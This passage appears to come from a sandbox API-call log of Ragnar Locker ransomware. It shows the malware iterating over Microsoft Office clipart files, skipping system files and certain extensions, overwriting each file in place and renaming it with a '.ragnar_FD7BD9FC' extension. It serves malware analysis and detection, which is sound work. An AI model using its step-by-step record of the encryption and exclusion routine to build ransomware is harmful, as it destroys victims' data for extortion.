lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.902] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.902] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.902] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.903] GetProcessHeap () returned 0x580000 [0081.903] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.903] CloseHandle (hObject=0xf4) returned 1 [0081.903] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" [0081.903] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.ragnar_FD7BD9FC" [0081.903] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.903] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0081.903] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.903] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01176_.WMF" | out: lpString1="DD01176_.WMF") returned="DD01176_.WMF" [0081.903] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned=".WMF" [0081.903] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.903] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="autorun.inf") returned 1 [0081.903] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="boot.ini") returned 1 [0081.903] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="bootfont.bin") returned 1 [0081.903] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="bootsect.bak") returned 1 [0081.903] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="bootmgr") returned 1 [0081.904] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="bootmgr.efi") returned 1 [0081.904] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.904] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="desktop.ini") returned -1 [0081.904] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="iconcache.db") returned -1 [0081.904] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="ntldr") returned -1 [0081.904] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="ntuser.dat") returned -1 [0081.904] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.904] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="ntuser.ini") returned -1 [0081.904] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="thumbs.db") returned -1 [0081.904] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.904] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.904] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.904] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.904] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.904] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.904] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20 [0081.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.904] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1888) returned 1 [0081.904] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x757, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.904] GetProcessHeap () returned 0x580000 [0081.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.904] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.906] VirtualAlloc (lpAddress=0x0, dwSize=0x760, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.906] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.906] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.906] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x760, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x760, lpOverlapped=0x0) returned 1 [0081.906] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.906] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x760, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.907] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x760, lpOverlapped=0x0) returned 1 [0081.907] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x760, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.907] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.907] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x760, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.907] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.907] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.907] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.907] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.907] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.907] GetProcessHeap () returned 0x580000 [0081.907] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.907] CloseHandle (hObject=0xf4) returned 1 [0081.907] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" [0081.907] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.ragnar_FD7BD9FC" [0081.907] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.908] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0081.908] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.908] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01178_.WMF" | out: lpString1="DD01178_.WMF") returned="DD01178_.WMF" [0081.908] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned=".WMF" [0081.908] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.908] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="autorun.inf") returned 1 [0081.908] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="boot.ini") returned 1 [0081.908] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="bootfont.bin") returned 1 [0081.908] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="bootsect.bak") returned 1 [0081.908] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="bootmgr") returned 1 [0081.908] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="bootmgr.efi") returned 1 [0081.908] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.908] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="desktop.ini") returned -1 [0081.908] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="iconcache.db") returned -1 [0081.909] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="ntldr") returned -1 [0081.909] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="ntuser.dat") returned -1 [0081.909] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.909] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="ntuser.ini") returned -1 [0081.909] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="thumbs.db") returned -1 [0081.909] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.909] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.909] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.909] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.909] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.909] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.909] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20 [0081.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.909] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3796) returned 1 [0081.909] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xecb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.909] GetProcessHeap () returned 0x580000 [0081.909] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.909] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.911] VirtualAlloc (lpAddress=0x0, dwSize=0xed4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.911] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.911] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.911] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xed4, lpOverlapped=0x0) returned 1 [0081.911] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.911] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xed4, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.911] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xed4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xed4, lpOverlapped=0x0) returned 1 [0081.911] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xed4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.912] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.912] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.912] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.912] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.912] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.912] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.912] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.912] GetProcessHeap () returned 0x580000 [0081.912] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.912] CloseHandle (hObject=0xf4) returned 1 [0081.912] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" [0081.912] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.ragnar_FD7BD9FC" [0081.912] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.913] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0081.913] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.913] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01179_.WMF" | out: lpString1="DD01179_.WMF") returned="DD01179_.WMF" [0081.913] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned=".WMF" [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="autorun.inf") returned 1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="boot.ini") returned 1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="bootfont.bin") returned 1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="bootsect.bak") returned 1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="bootmgr") returned 1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="bootmgr.efi") returned 1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="desktop.ini") returned -1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="iconcache.db") returned -1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="ntldr") returned -1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="ntuser.dat") returned -1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="ntuser.ini") returned -1 [0081.913] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="thumbs.db") returned -1 [0081.913] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.914] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.914] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.914] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.914] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.914] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.914] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20 [0081.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.914] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2024) returned 1 [0081.914] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.914] GetProcessHeap () returned 0x580000 [0081.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.914] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.916] VirtualAlloc (lpAddress=0x0, dwSize=0x7e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.916] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.916] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.916] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7e8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7e8, lpOverlapped=0x0) returned 1 [0081.916] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.916] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.916] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7e8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7e8, lpOverlapped=0x0) returned 1 [0081.916] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.916] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.917] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.917] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.917] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.917] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.917] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.917] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.917] GetProcessHeap () returned 0x580000 [0081.917] HeapFree (in: hHeap=0x580000, dwFlags=0x1, 